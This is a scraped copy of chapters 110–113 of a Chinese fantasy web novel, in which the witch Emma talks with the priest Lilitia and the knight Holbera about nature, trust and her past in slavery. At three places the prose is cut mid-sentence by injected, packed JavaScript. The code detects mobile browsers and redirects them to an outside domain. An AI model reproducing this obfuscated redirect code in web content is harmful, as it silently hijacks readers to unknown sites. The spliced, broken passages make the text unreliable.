她转过视线时,正看见他凝视着柜里的展品,手指抵在玻璃上,安静得像一座黑色的雕塑,凝固的燃烧的枯枝。 利利提亚向她回过头来,仿佛枯枝上扑簌簌落下灰,静止的空气被打破了。 艾玛愣了一下。 “实在是漫长的故事,也毫无什么乐趣。很抱歉,我不习惯这样介绍自己。” 利利提亚停顿了一下,“复述自己的经历很单调,我向来不能理解交换叙述见闻为什么归属于娱乐。 “但语言已经是人和人之间最有效率的沟通方式,出身环境是塑造一个人基础的构成,我也不能避免受其影响。 “就像观看戏剧,现在您知道我的前置设定,也就能对我将来的走向做出一定预想。 “那么,您是否能为我解答?” 利利提亚静静地望着她,眼中的湖泊风平浪静,像一面过于平整的蓝色玻璃。 “您认为,人是否应该按照自己的本性生活?” 110.本性 艾玛沉默了十几秒,最终先于利利提亚偏开视线:“应该要看具体情况。” 利利提亚眨了一下眼睛,笑起来:“这是否定的回答。” “过度的诚实和自由太没有边界。没有相反的事物存在,美德也无从定义。” 艾玛说,“我们学习语言是为了互相理解,世上没有人天然契合彼此,为了得到接纳,而迎合他人的期待去做出一定表现,这是很正常的事情。” “我不否认,它非常普遍,能够遵循心意诚实地生活是件奢侈行为。只是——唔,这多让人意外。” 利利提亚微笑着,“一位女巫居然会给出这样的回答。” “你也因为女巫这个身份对我有什么想当然的偏见?”艾玛皱眉,“在此之外,我仍然认为自己是个普通人。 “会这么思考,对此有所困扰,这都很平常。” “‘普通’……嗯。”利利提亚低低笑了一声,“虽然在预想外,但这很有趣。 “即使是您,也没有办法诚实地展现自己的本性,显得我相似的困扰太微不足道,实在惭愧。” 艾玛难以从利利提亚的语气表情里判断出他的真实想法,不好说这话是讽刺还是字面的抱歉。和太过具有社交技巧的人精对话总有这种模棱两可的时候。 艾玛没有为此纠结,直白地表达不快:“你用这种说话方式是为了展现自己的个性吗?” “我真的感到抱歉。有哪句话让您不高兴,我收回。” 她移动脚步,从静止的展柜边走开,利利提亚比刚才落后半步,不远不近地跟随。 半晌后,艾玛说:“这没什么值得过多伤感的,大部分人都这么生活。” “您还在介意。哎,实话果然伤人呀……”利利提亚刻意地叹一声气。 艾玛继续说:“会在乎自己的表现不符合本心也很正常,就像人天然不喜欢说谎。你如果为此介怀,说明你也只是个普通人。” 利利提亚笑得肩膀一颤,又把唇边的笑意压住了。 他玩味般重复:“‘普通人’,您似乎偏爱这个词。真是珍贵的赞誉,我很少听到这么让人高兴的评价。” “反话?” “真心实意。我何至于欺骗您呢?” 艾玛看了他一眼:“我猜你是很擅长说谎的人。” “哎呀,竟然已经给您留下这样的印象,我会加以反省……”利利提亚声音里的歉意并未抵达表情, “要说擅长,我不否认。但您是月神选择的女巫,在自身信仰的神明座前,即使是我也不想多做无意义的伪装。请允许我说些坦诚但不好听的话吧。 “比如——如果只是我的妄断,我向您致歉: “刚才这个话题,是否让您感到焦躁?” 艾玛突地停住脚步。 她垂下眼,摸了摸自己的脖颈,听着自己的心跳和血流,感受身体呼吸起伏的频率。 心跳比平常要快。血流似乎更灼热。呼吸也变得不均匀。 意识到这些之后,心情反而冷静下来,艾玛调整了呼吸的节奏,细微的变化很快复原了。 她抬起眼睛,对利利提亚说:“是的。这个话题让我感到不愉快。” “您知道理由,但不打算改变。说给我听的话,像是您用于说服自己的。” “很敏锐,也很直接。那么,指出这点有什么意义?” “我只是感到困惑。”利利提亚说,“您曾经说过,您为了提升自己的魔法而来到这里。这本不该是一个女巫会具有的困扰。” “你的笃定也让我困惑。”艾玛说,“你为什么觉得自己了解女巫?” 利利提亚抬手,做了个比划:“魔法师就像是……‘容器’。魔法的容器,魔力的容器。 “能承载的容量决定了魔法师能力的上限,而容量的大小往往早被‘天赋’注定。 “我是很强的魔法师。但这强大并不完整,是偏科到极点的才能加上好运的结果。 “我摸索到了再塑自己‘容器’边界的方法,将我所能承载的容量上限提高、再提高,直到提升到一定位置时——触摸到了某条‘界限’。 “就像容器的口沿,即使再如何向容器中倾倒溶液,自那条界限开始,都会满溢而出,无法承接。 “和过去的瓶颈不同,我意识到,那是一个‘质变’的边界。我原本重塑容器的方法不再可行,想要填补那道天堑,必须从根本上开始改变塑造容器的理论。 “而那就是我和女巫的区别。” 利利提亚收拢了摊开的手掌。 “凡人如果需要取水,会用容器去水源处装载保存,竭尽后再取,如此反复。但女巫不需要这么做。 “她们本就浸在水中,于她们而言,水源取之不尽,用之不竭,因此永不饥渴。 “我处于这条界限边缘,所以有幸窥见些许女巫的视野。 “如果说我真的了解女巫,那太狂妄,但我知道魔法师为何强大,也更明白女巫在哪里特殊。 “所以我才感到如此——困惑。” 利利提亚向前微微倾身,艾玛看进那双蓝色的眼睛里。 那一会儿她无意义地想,利利提亚有一副漂亮的柔和容貌,但要是在近处见过他的眼睛,一定不会相信他仁慈温驯。 “您比我想象得——要弱上很多。” 他开口前有一段短暂的沉默,句子中却没有无意义的停顿。 情绪这个形容太强烈,不存在于这段没有感情的话语里,显得它只是一句过于冰冷而平板的客观叙述。 “由你给出这样的评价,还真是有说服力。”艾玛回答。 “魔法师因为‘欲望’而强大,因为‘愿望’而强大。在魔法上天生全才全能的女巫,一道念想就有数千倍于凡人的魔力回应。 “‘想要变得更强’本不该是女巫会有的愿望。如果您的愿望足够明确坚定,您自然会得到与其相匹配的强大,没有去刻意追求的必要。 “驱使您追求明面上这个目标的意识,连‘欲望’都算不上,甚至是——相反的东西。” 利利提亚看着她的眼睛,“它在让您变得弱小。” 艾玛沉默。 “我从未怀疑过您女巫的身份,现在对此也没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522219|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 质疑。我只是不能理解您身上的矛盾,并且作为一位魔法师,对此感到非常……可惜。” 利利提亚说,“在我看来,这种行为和慢性自杀无异。” “这样吗?”艾玛低声说。 她抬手触摸自己的心口,神游般思考了片刻,移回目光:“谢谢,我稍微有点明白了。” “就像你说的,‘魔法师的天赋’对我来说太过平常,如同本能。 “我并不完全理解自己的潜意识在思考什么,而它对我的影响超过我的明意识所能控制的范畴。 “我意识到了自己身上的矛盾,但是,我大概不想承认。这也并不是我意识到了就能解决的问题。” “每个人都有各自的心结困扰,您的私人问题,我不该多嘴。 “只是话说到这里——您已经注意到了问题,仍然打算视而不见吗?” 艾玛沉吟一下:“我需要变得强大,才能解决困扰我的问题;但困扰着我的问题,正使我无法变强。 “这是无意义的死循环。保持现状没有益处,我也需要做出变化。” “‘变化’,我喜欢这个词。” “自己能想到的思考,都无法为我自己解答。”艾玛向他转过目光,“你看起来很有经验。有什么建议吗?” “经验和建议确实有一些,但没什么特别的。”利利提亚说,“我想,最好也最直接的方法是——‘了解您自己’。 “了解自己的想法,了解自己的欲望,承认它。” 艾玛说:“这像你刚才向我提出的问题的回答,是你自己对这个问题的解释。你认为‘人应该按照自己的本性生活’。” “我确实这么相信。但如果对此毫无疑问,也不会向您提出。” “你看起来不像没法肯定自己的答案,还需要向别人寻求认同来获得确定感。” “谁知道呢。您也还不真正了解我。同样地,我也并不了解您。” 利利提亚微笑,“我未必需求从您地方得到不同的答案,只是交谈对象既然是您,讨论的过程本身就有足够价值。” “因为我是女巫?”艾玛道,“你也说过,认为女巫还是人类,阅历见识受年龄所限。客观看来,我也不认为自己是个有趣的谈话对象。 “你和我说话的时候这么注重措辞和敬语,就像私人时间还在工作一样,这不是很累吗?” “趣味性评价是主观的,我和他人有不同的衡量标准。 “而虽然我平时不会公开表达,但事实上,‘对话’对我来说是一种高效率的信息交流方式,或者辅助手段,借以实现某种目的。 “娱乐性并不是我在对话中首要考虑的内容,除非它对我的谈话对象来说是必须的。 “我是个远比外表要无趣的人,倒要反过来担心是否会让您厌烦。” 利利提亚停了停道:“至于敬语上的问题,感谢您的体贴。 “请不必在意,罗穆卢斯语里的敬语修辞比通用语繁复数十倍,考量用语对我算不上负担。” “是吗?”艾玛似乎有一点点意外,“事实上,你比我想象的要有趣。” 111.待续 利利提亚讶异地扬眉,笑道:“意料之外的褒美。” “我从来不认为自己真正了解他人。人类非常、非常复杂。我可能了解某人的性格特征,部分经历,乃至能对他的行为作出正确预判,那也只是了解了表层的他。 “我没有理解他人本质的能力,也没有想要了解到那种程度的欲望。”艾玛想了想,“你试图向我展示‘真实的自己’,这并不安全,女巫的身份只会加大这项选择的风险。 “但我能明白一件事:‘你信任我’。即使我们认识还没多少时间。因为不讲道理到无从分析,我没法理解。 “我应该困惑,但没有觉得困扰,所以反而产生了点好奇。” 利利提亚向她行礼,衣角的花纹在灯下像水波的闪光:“我的荣幸。” 艾玛看着他,问:“你正按照自己的本性生活吗?” 他抬起脸,思索般说:“一半吧。” “只有一半啊。”艾玛说。 “您不问我的愿望是什么。”利利提亚微笑道,“看见我站在这里,您能明白吗?” 艾玛说:“我不擅长理解别人,你也不是能被我轻易看透的魔法师。至于愿望,总觉得,不太想问。” “哎呀。看来您对我的兴趣确实还是有限。但是——我想要,了解您。” 艾玛看见他的眼睛微微亮起来,像水面上摇晃的星子般的火光。 没有多余的杂质,出人意料纯粹的,属于“好奇”的感情。 果然不好理解。艾玛想。 “您似乎不喜欢谈论自己,我也一样。但总要有人说点什么,那就由我来开这个头吧。 “只要您有所回应,无论是何种形式,我都能进一步了解您。或许这个过程也能帮助您了解自己——假如您愿意。”利利提亚说。 艾玛松下肩膀,慢慢呼出气:“嗯……我最近是觉得有点疲惫,没有方向,甚至想自暴自弃。或许休息一段时间更好。 “我也有在考虑,要不要真的‘留在阿瓦托芬’这件事。” 利利提亚停顿片刻,突然一拍手,露出笑容:“太好了,这下连借口都有了。 “女巫殿下如果有留在神殿的意向,那么作为神谕祭司的我向您介绍女巫的工作,带您四处游览,就是非常正当的行为,议会没有理由再拦。 “请放心,如果您不想听工作的事,实际游览过程中我什么都不会说的。” “是吗?”艾玛盯着他的眼睛,“你希望我留下吗?” 利利提亚说:“这问题听起来真危险呀。” 艾玛偏了偏脑袋。 “要是态度不明确,显得我有什么不规矩的野心;肯定得太急迫,又像要给您施压。” “这里的人需要女巫。”艾玛说,“但你们似乎不敢明着说清楚,我不明白。” “您注意到了。”利利提亚笑了笑,“当然,女巫总是敏锐。 “议会的章程里列有许多规矩,但那些死的律令是代代传下来的。后来的人能直接得到文字的表面意思,却不明白背后的理由含义。 “律令告诫他们不能干涉女巫的意愿,他们不理解但仍遵守,内心又希望女巫留下,这就显得矛盾了。” 艾玛稍微感到意外:“有这样的律令?” “总是先人的心得经验。许多月神女巫曾途经阿瓦托芬,但没有长留;也有的曾经留下,后来又离开了。” 利利提亚淡淡说,“而也会有人以为,只要您不清楚这些事实先例,就不会意识到还有另外的选择可做。缺乏尊重的时候最容易自作聪明。” “哦,”艾玛大概明白了,“你不这么想。” 利利提亚道:“我希望您多留些时间,那样多些机会跟您交流。但是留下的意愿,出自您真心才有意义。 “即使他人的期待能成为您决定停留的理由,只要这理由不来自您自身,便不会长久。这样简单的道理,很多人不明白。” “嗯。”艾玛点一点头,“你说要带我四处介绍游览,很像找了个正当借口出门玩。” “工作太无聊了,想换个节奏也是人之常情嘛。”笑意流畅地踱上他喉咙,利利提亚弯一弯眼睛,“您的进展似乎陷入了凝滞,暂时抽出身来放松一下,之后再重新调整目标方针,比一味焦灼或许更有效率。” 艾玛说:“但是你翘班的话,会有其他人受到伤害吧。比如费鲁南特。” 利利提亚微笑道:“您真温柔呢。” 不否认费鲁南特会受到伤害啊。艾玛想。 “那么,我们约定好了?”利利提亚眨眨眼睛,“之后确认好时间安排,我会再提前向您预约时间。” “好的。”艾玛点头,却露出了思索的神色。 利利提亚问:“您有什么顾虑吗?” “一点小事。”艾玛说,“在我出生的国家,孩子们约定什么事的时候,有勾小指表示‘一言为定’的习惯。罗穆卢斯有类似的习俗吗?” “我听说过这种风俗。您是想和我用这种方式约定?” “倒没有这个意思。”艾玛说,“我也只在小时候和朋友这么做过,现在看来有些太幼稚了。 “只是罗穆卢斯也有的话,这种习俗的起源就很广了,到底来自于哪里呢?” “或许能从相关的传说故事里找出来历?”利利提亚想了想。 “我听说过几个版本……”艾玛整理着思路,“有的说是来自于西边的国家,那里曾经有一个国王……” . . “然后呢?故事的后续是什么?” 艾玛翻来覆去把书本看了几遍,从书封翻到书背,又从书背看到书脊,在荷尔贝拉带来的其他书册里也没能检索它的关联卷目,困惑地向她抬起眼睛。 “这本书没有后续。” 荷尔贝拉有些尴尬地重复一遍在她带来这本书时就说过的话,“这样的作品很多,作家因为各种因素,没能把故事写完,也或者是,我没能找到另半本……” “可是书封上到处没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16527337|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写着‘上卷’‘第一册’之类的字样。”艾玛说着又翻了一遍,“也没有后记,不知道作者的情况。 “真可惜啊!故事正精彩呢,好想知道后面发生了什么。” “嗯,我也觉得这本书写得很好,所以虽然是没有后续的故事,还是冒昧拿给您了……抱、抱歉,让您烦心……” “没有啦,虽然没有后续是很遗憾,但是前面这么精彩,很值得一看。谢谢你带给我。” 艾玛把书翻到末页,仍然恋恋不舍,“只是这里——刚刚给了这么一个伏笔,点出主角有摆脱奴隶身份,得到自由身的可能,就停住了。哎,这挺让人不甘心吧?” “嗯。”荷尔贝拉低低应了一声,点头。 艾玛看故事看得高兴时往往一反常态地活跃许多,荷尔贝拉近来已有些习惯了。但谨慎的行为模式更加根深蒂固。 她悄悄打量着艾玛的神色,确认她是不是真的没有为此不快,并反省自己出于兴趣推荐的书籍是否不合适。 书本的装帧是完整的,再翻来覆去地看也不能从纸缝里多掉出两个字。 艾玛无用的重复没有结果,叹口气仰倒在床上。 女佣收拾齐整的被褥早被压出道道皱痕,艾玛往上一躺,床面便整齐地向着一个方向下陷,反倒拉平了不少褶皱。 费拉约尔斯的城主城堡里有数个书房,艾玛的卧室里也从不缺一张书桌,但她仍然在那时养成了喜欢在床上看书的坏习惯。 熄灯后在床上点着灯盏不易从窗外被人看见;如果有人半夜来查房,本就身在床上,或许还可以在魔法帮助下迅速消灭证据装睡——计划是这样的,虽然从未成功实行过。 西里斯和嘉兰的脚步声都很轻,艾玛投入阅读时很难察觉到。 最接近的一次提前察觉了三秒,她正在匆忙地灭灯合书时,一抬头就对上了门边嘉兰的眼睛。 嘉兰无奈地沉默了片刻,问她需不需要一杯热牛奶。 因为月神女巫身份的缘故,西里斯当时也不确定艾玛的体质是否与常人有异,所以对她的熬夜格外宽容。 只是在看到她白天仍然会因熬夜困倦后,第二天晚上会给她煮助眠的花草茶并督促她早睡。 后来无论是熬夜还是错误阅读的姿势,确实都不再能对女巫造成影响,那些提醒、热牛奶和花草茶也就不再必要了。艾玛偶尔会怀念。 没有外人在的独处时间,艾玛仍然会放任自己不正确且不合礼的姿势习惯。 和荷尔贝拉熟悉之后,她很自然地把对方从“外人”划进了“自己人”的范畴,对方在场时也不多顾忌。 而荷尔贝拉坐在床沿的动作仍然很拘谨,只回身时将手撑在边上,才会压皱被褥一小块。 艾玛还沉浸在故事中,对着天花板上的吊灯放空了目光,一本正经地为主角思索起出路:“但是前文没有明确提到那里的奴隶释放方式……唔……‘自由’吗……” 她停了一会儿,喃喃说:“我小时候从来没想过的问题啊。” 112.空想 荷尔贝拉愣了一下,感到意外:“是吗……?” “嗯……或者说是觉得‘没必要想’。 “奴隶没有人权,没有谁会替奴隶主持什么公道,幸与不幸全看遇到的主人有几分好心。 “攒到多少金钱赎身也都是空谈,没有基本人身权利的奴隶,更说不上私人所有权。 “我在集市上认识的人开玩笑一样说,除非他的主人明天恰好遭遇什么祸事,而他恰好拥有解决这无人能解的麻烦的本事,又或他恰好碰到什么奇遇,恰好捡到一大笔钱,而他的主人恰好性情大变,突然长出良知与感恩,没准才能用那笔天降的财富换得自由……需要这样多的‘恰好’。 “他自己说着笑了,拿着从他主人给的采买资金里偷偷扣出的零钱去买酒。 “我认识的奴隶里,没有人攒钱,没有人觉得有什么未来可言。有人会开玩笑一样畅想自由的未来,但说完就像是梦结束了,没有人当真。我以为没有未来是客观的。 “我睡着的时候不太做梦,觉得白日里做梦也没有意义。” 她停顿了几秒,接着道:“我母亲对未来的想象总是很务实,比如明天的餐点,攒到的碎布料在下个月能做给我做件新衣服。 “她是个出奇乐观又安于现状的人。她会稍微攒点钱,想让我吃得穿得好一点。 “我出生就是我父亲的资产和奴隶,但是他第一个有血缘的孩子,他对我稍有恻隐。加之,我最具有价值的才能在十二岁后才能兑现,那之前他得保我正常活着。 “他的妻子言行刻薄,倒稍微通些人情。与身边的其他奴隶相比,算是日子比较好过的。 “我出生的地方,虽然那时候已有奴隶监管公证所的雏形,但公证效果形同摆设,只维护奴隶主的利益。 “后来去过很多其他地方,才知道不同地区的奴隶制不一样,得到自由或许不是那么无稽的空谈。 “我母亲是因病去世的,我一直不知道她得的是什么病。最开始并不严重,但一下子就恶化到无法挽回了。 “父亲叫来的医生看了一眼,走前向他推荐了火化师。她死后三天火化,骨灰埋在镇子附近的沙地里。 “我不知道具体是哪,我没再见过她。” 荷尔贝拉垂着视线沉默。 艾玛慢慢收回了放空的目光,合上书:“真困难啊,讲述自己的经历这件事。我还是说得不太好。” 荷尔贝拉张张口,却没组织出什么迅速的否认。而艾玛已经自言自语地继续说下去。 “最近很多人向我说过自己的经历,都说得很好,像你一样。我还以为,听过得多了,我也会擅长一点。” 艾玛转过眼睛,碰到荷尔贝拉低过来的目光,“我不喜欢讲故事,不怎么说自己的事,也碰到过不少这样个性的人,知道很多经历属于‘不愿提及的隐私’。 “但最近遇到的,我和他们认识都没有多久,甚至可能是刚见面,他们就愿意把自己的秘密告诉我。 “虽然我很愿意听故事……这样还是有点奇怪吧?” 荷尔贝拉想到空竹,因此这回没有急于把这话当做暗示自己上次述说太多的过失。 艾玛说话时常是字面意思,因为放松才更直白得没有顾忌。荷尔贝拉对这种风格不陌生。 她认真地思考了一会儿,才回答:“因为您是女巫,我想,这是很普通的。” 艾玛稍微压了压眉毛:“听起来有点任性……但我确实是觉得,在身为女巫之前,我首先是一个人类。对另一个‘人’这么做,就不太正常吧?” 荷尔贝拉缓慢地措辞:“我想,人可以向熟人讲述自己的私事,是因为信任对方,相信即使向那个人说出秘密也是安全的。 “您是月神的女巫,会因为这一身份而向您说出秘密的,想来都是月神的信徒。‘信仰’这种感情,不是包含了‘信任’吗? “如果长久以来信仰着月神殿下,那么即使是和祂的女巫初次见面,也像见到认识很久的、信任的熟人一样吧。” 她说完,又仓促地补上两句:“对不起,这类比可能对您太冒犯,女巫当然不同于……我只是、我是想,只是……女巫等同神明的化身。 “如果有什么事,连对自己信仰的神明都不能宣之于口的话,恐怕永远不会对任何人说出来了。” 荷尔贝拉不安地交叠手指,挪开了目光:“虽然沉默是财富、守秘是美德,但只有自己知道的事情、只有自己了解的想法,毕竟是,太沉重了。 “说出来的话,压力能轻一点。我想……是这样的。” “欸……”艾玛感慨了一声,盯着荷尔贝拉安静了半天。 荷尔贝拉因为被注视感到不自在,迅速反省道:“抱歉……我又说太多奇怪的话了。” “不奇怪啊。我是在想,贝拉很聪明,很有自己的想法,表达也非常清晰,真厉害。”艾玛说,“你考虑过写故事吗?小说,或者戏剧剧本什么的。 “上次你带给我的那本剧本体裁的故事书,里面夹着一张戏票,看标识,是阿瓦托芬城内的剧团。” 荷尔贝拉蓦地脸红了,捂住半张脸别过头:“我明明检查过——真、真抱歉,有这样的疏忽……我应该记得提前把夹在书里的东西拿出来……” “那张戏票的用纸很薄,夹在书里乍一翻不容易发现。是看完演出之后留下票根作为纪念吗?” 停顿了几秒,荷尔贝拉稍稍松开手,声音从指缝间模糊地飘出来:“那是场很棒的演出。” 黑色的长发有些杂乱地从荷尔贝拉鬓边落下来,挡住了一半艾玛望向她的视线。 她从发丝的缝隙里瞥见荷尔贝拉微微发红的皮肤,眼里的亮色。 艾玛从床上坐起身来:“贝拉喜欢戏剧吧?” “嗯……戏剧很美。那些在纸面上发生的,以为只能存在于脑海中幻想的人物和故事,被搬上舞台的时候,我觉得……非常感动。” “你经常去看演出吗?” “休息的时候,有空我会去剧院看看。如果有合适的剧目和场次,就提前买好票。” 艾玛回忆:“阿瓦托芬的剧团好像都以花朵命名啊。那张书里的戏票,写的是‘郁金香剧团’。嗯,不是芬妮的剧团呢。如果是玫瑰剧团的演出,是不是能直接向芬妮预约?” “那太打扰她——我、跟她说的话不多……虽然都是监察骑士,工作上有些交接,但私人时间没什么交集…… “玫瑰剧团的演出很多,我时不时有去看,但会买靠后的坐席,观众太多,芬妮大概没注意到过我……” 荷尔贝拉摸了摸脖颈,“玫瑰剧团是很大的老牌剧团,演员班次会更替,但反复上演的经典剧目居多。比较冷僻的新剧目,往往只能在一些小剧团找到。 “玫瑰剧团的演出场场上座率都在半数以上,小剧团的上座率却往往惨淡,如果票房不好,有的剧目就不会再演,错过了很可惜…… “我经常光顾其他剧院的演出,还特意向芬妮提这些的话,我想不太礼貌,就没有说过了。” “也是哦。”艾玛表示理解地点头,“听贝拉这么说,我都有点想去看看那些新剧目了。” “呃!虽、虽然是会有一些被埋没的意外惊喜,但其实、因为剧团的规模小,演员往往不够成熟,布景和道具也比较简单,剧本基本出自没什么可参照过往作品的新作家,整个演出效果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“很抱歉……我完全,想象不出来。”荷尔贝拉低声说,“我喜欢看故事,但观看和创作的难度完全不同。我也,并不认为自己有创作的才能,不觉得自己能想象出什么有价值的故事。您总是如此宽容……但我实在,感到惶恐。” “你太看低自己了。我说的也不是为了好看的场面话。” “我没有质疑您的意思……” 艾玛看到荷尔贝拉放在膝上的手收紧起来,指节用力得发白。 “我还想,如果是你的话,今天那个故事,或许能写出很不错的续集。” “那前半本故事太好了,无论谁来补写,想必都不能写得那么好了。我没有那样的资格,当然更没有那种能力。” “……抱歉,我让你不高兴了。打住这个话题吧。” 艾玛向她伸出手,掌心向上,荷尔贝拉因为这突然的动作不知所措,犹疑该如何反应。 “我是想说——握手,和好……阿瓦托芬没有这样的习惯吗?”艾玛看了看自己的手。 “不,我没有不高兴,也没有资格——” 一样的话说得太多会让对方厌烦。 荷尔贝拉咬住舌尖,停住将自己蜷缩回安全角落的话语,伸出双手,从艾玛的手背捧住她的手,轻轻把它放下来。 “我知道您出于好意,但我实在羞愧……这只是,我个人的无力,请不要放在心上。” 艾玛看着她的手从自己手边抽离了。 她看了一会儿自己空白的手心,抬起头说:“下午有空吗?要不要一起去城里走走?” “今天下午?您不是已经和利利提亚大人提前约好了?”荷尔贝拉愣了愣。 “只是逛逛街散散步而已,多一个人又没什么差别。” 荷尔贝拉沉默了几秒,将乱发梳理到耳后:“我想……他不喜欢别人打扰。” “只要你不是带着工作去找他,他也没什么好抱怨的吧。”艾玛半开玩笑地说。 荷尔贝拉也笑了笑:“还是不了,谢谢您。” 113.闲聊 艾玛坐在街边店门前,桌面上的玻璃碗里盛着奶油色的冰淇淋,撒上裹着可可糖浆的燕麦,边缘插着不可食用的装饰小伞。 在费拉约尔斯时,城堡里的厨师也会做类似的冰品,不过更接近磨成沙的冰冻糖水,没有阿瓦托芬这边的配方讲究。 出身平民的苔丝由于家庭环境,幼时常常吃冷餐,后来就不喜欢冷饮,觉得食物就该热乎的才好。 她理解不了那些偏好冷食的客人,背后嘀咕那些出身太好的少爷小姐喜欢找罪受,为着自己的职责才在餐食里勉为其难加上几道冷饮,配方自然没有多细腻。 冷饮不易制作保存,有的原料流通不广,艾玛在旅途中碰到过的类似餐点,往往定价高昂。 阿瓦托芬的魔法道具易于获得,颇有制作门槛的冰淇淋在这里并不少见。 这家甜品店的店长是个擅于用小法术制作冷饮的魔法师,还做了一套用于冰淇淋制作的制冷魔法道具。 店里生意一直很好,今天是工作日的午后,店里还算空闲。 她看了看甜品店的菜单,根据自己对阿瓦托芬货币的了解一换算合计,平价得让人惊讶。 艾玛的行李中有一部分是在沙漠交易中取得的金银器具,这些物品在阿瓦托芬一样可以置换成当地货币。 在最初进入城市后从长计议的打算里,是有这么一项准备的。 但她很快被认作了女巫,这项准备没用上。 艾玛日常的购物所需有监察骑士代付,哈瓦娜说神殿会报销。 而有利利提亚陪同的时候,她也没必要跟神谕祭司客气。 想到这里时,利利提亚正带着刚烤好的蛋糕从店里出来,坐到了艾玛对面。 仍然是日常的着装,白色的长袍,脸上也没做什么遮挡,只有手上降低存在感的戒指,在艾玛眼前颇有存在感地折了一下光线。 利利提亚说,能够伪装改变外形的魔法道具当然是有的,但是受神殿管制严格。 阿瓦托芬到处是魔法师,他们可能会注意到某人身上有变装魔法道具的使用痕迹,弄不好会引起警惕与恐慌。 如果变装的是别有用心的他国间谍,这份警惕自然是好事;如果变装的只是为了出行不引起别人注意的神谕祭司,那这恐慌就不太必要了。 而降低存在感的魔法道具视觉效果不那么强烈,即使有不受道具影响的魔法师注意到了道具使用人的存在,也能清楚看见他的容貌着装,不会引起误会。 听说魔法研究部里负责道具分发与管制的审核组是这么说的。 艾玛想过,找个面具戴一戴或许更省心省力,但银色的长发和面具挡不住的蓝色眼睛,在这里都足够罕见,掩饰得聊胜于无。 利利提亚也不喜欢佩戴面具,似乎是觉得遮挡不太舒服。 平时不像春祭那样到处是人,神谕祭司也不是什么稀有动物,出个门哪里需要做太过——利利提亚轻描淡写地说。 约定了“一起四处转转”的事之后,利利提亚一周会发来两三次邀请,看起来如他所说,工作确实清闲了不少。 大约议会那边也收到了艾玛“有想要留下”的意向,监察骑士这边放开手的姿态非常顺滑,没有一点犹疑为难。 利利提亚会带她去神殿的各个职能部门转转,进度缓慢且随意,主要表现一个“有在完成任务”的态度,问就是不想让女巫殿下感到压力。 不像利利提亚第一次带艾玛游览时的突击访问,受访部门显然都被提前打过招呼,负责人们早有准备,态度亲切热情。 艾玛倒不因为这些热情觉得有什么心理负担。“有考虑想要留在阿瓦托芬”是句实话,出于各种考量,艾玛是有这样的想法,但还没有想清楚,自然也没有向人承诺过什么。 至于对方为了强化这个念想的苗头而做出多少努力,那是他们的选择,也是他们的自由。艾玛觉得跟自己没什么关系。 大部分负责人向女巫介绍部门的职责工作,就难免有向上司汇报展示的拘束,漂亮的场面话堆着堆着就把时间占满了,没给实际工作中的趣味细节留什么展示空间。 艾玛其实觉得这种事有点无聊,但她对这种无聊的客套不陌生,到处常见这许多没意义又好像不得不做的过场。 利利提亚明面是她的陪同,但神殿的职员还不至于敢无视他。 加之艾玛最近状态不佳,没什么客套的心情,负责人的对话问答多在和利利提亚抛接,艾玛负责偶尔点一点头。 利利提亚的用词礼节仍然拿捏得分毫不差,恰到好处。 在负责人被他的捧场哄得放松高兴,背过身侃侃而谈的时候,利利提亚向艾玛身边靠了靠,低声问:“东城区有家餐馆,今天周四,他们有特别菜单。结束后去看看?” 利利提亚说话时仍然看着负责人,声音轻而淡。 艾玛侧过目光望他,利利提亚因为没听见回答转过视线,艾玛说:“看起来在听讲,其实在走神。” 利利提亚微笑:“您刚才又神游到哪里了呢?” 艾玛把视线移回负责人身上,回答:“好。” 利利提亚对阿瓦托芬城内的布置很了解,从路径走向到沿街店铺的招牌特色。 据说一部分是出于神谕祭司的工作需要,一部分是他的个人兴趣。 今天的甜品店也出自利利提亚的推荐。艾玛对没吃过的食物都想试一试,但她食量不大,能多尝上几种品类都靠利利提亚的好胃口。 利利提亚说他每天都会抽空去训练场,需要通过日常练习来保持身体状态,还有永远处理不完的文书,体力脑力消耗都不小,所以能量需求也高些。 艾玛想起嘉兰的情况也相近,凯夸大地调侃嘉兰一顿能吃三个他,迪尔说她听了一天打你三次当锻炼是没问题的。 “您今天心情不好?” 艾玛盯着玻璃碗走神,冰淇淋化开了一半也只动了两勺,看见利利提亚坐下后扫了他一眼,舀一口又开始沉思,显然心情烦闷。利利提亚便开口问她。 艾玛模模糊糊嗯了一声,转动勺子。 对方心情郁闷的理由看来和他无关,利利提亚未受影响,趁冷趁热吃起了自己那份冰淇淋和蛋糕:“遇到了什么烦心事?” “嗯……因为贝拉。” 利利提亚意外地扬了下眉毛:“哦?真罕见,我从没听过对她的投诉。” “也不是投诉。”艾玛皱着眉心,困难地组织感想,“她很好。认真、聪明,也很体贴……或者是太体贴了。怎么说,太小心了……吗? “我以为我们已经足够熟悉了,也有共同话题,可以聊更多东西……但有时候不知道是碰到了哪个点,她会突然拉开距离,一下子又变得很生疏。有点,苦恼。” “啊,还挺理解的。”利利提亚点头。 “因为我是女巫吗?” “如果您不是女巫,她拉开距离的方式恐怕就是直接跑掉了哦。” 艾玛诧异道:“她对你这样?” 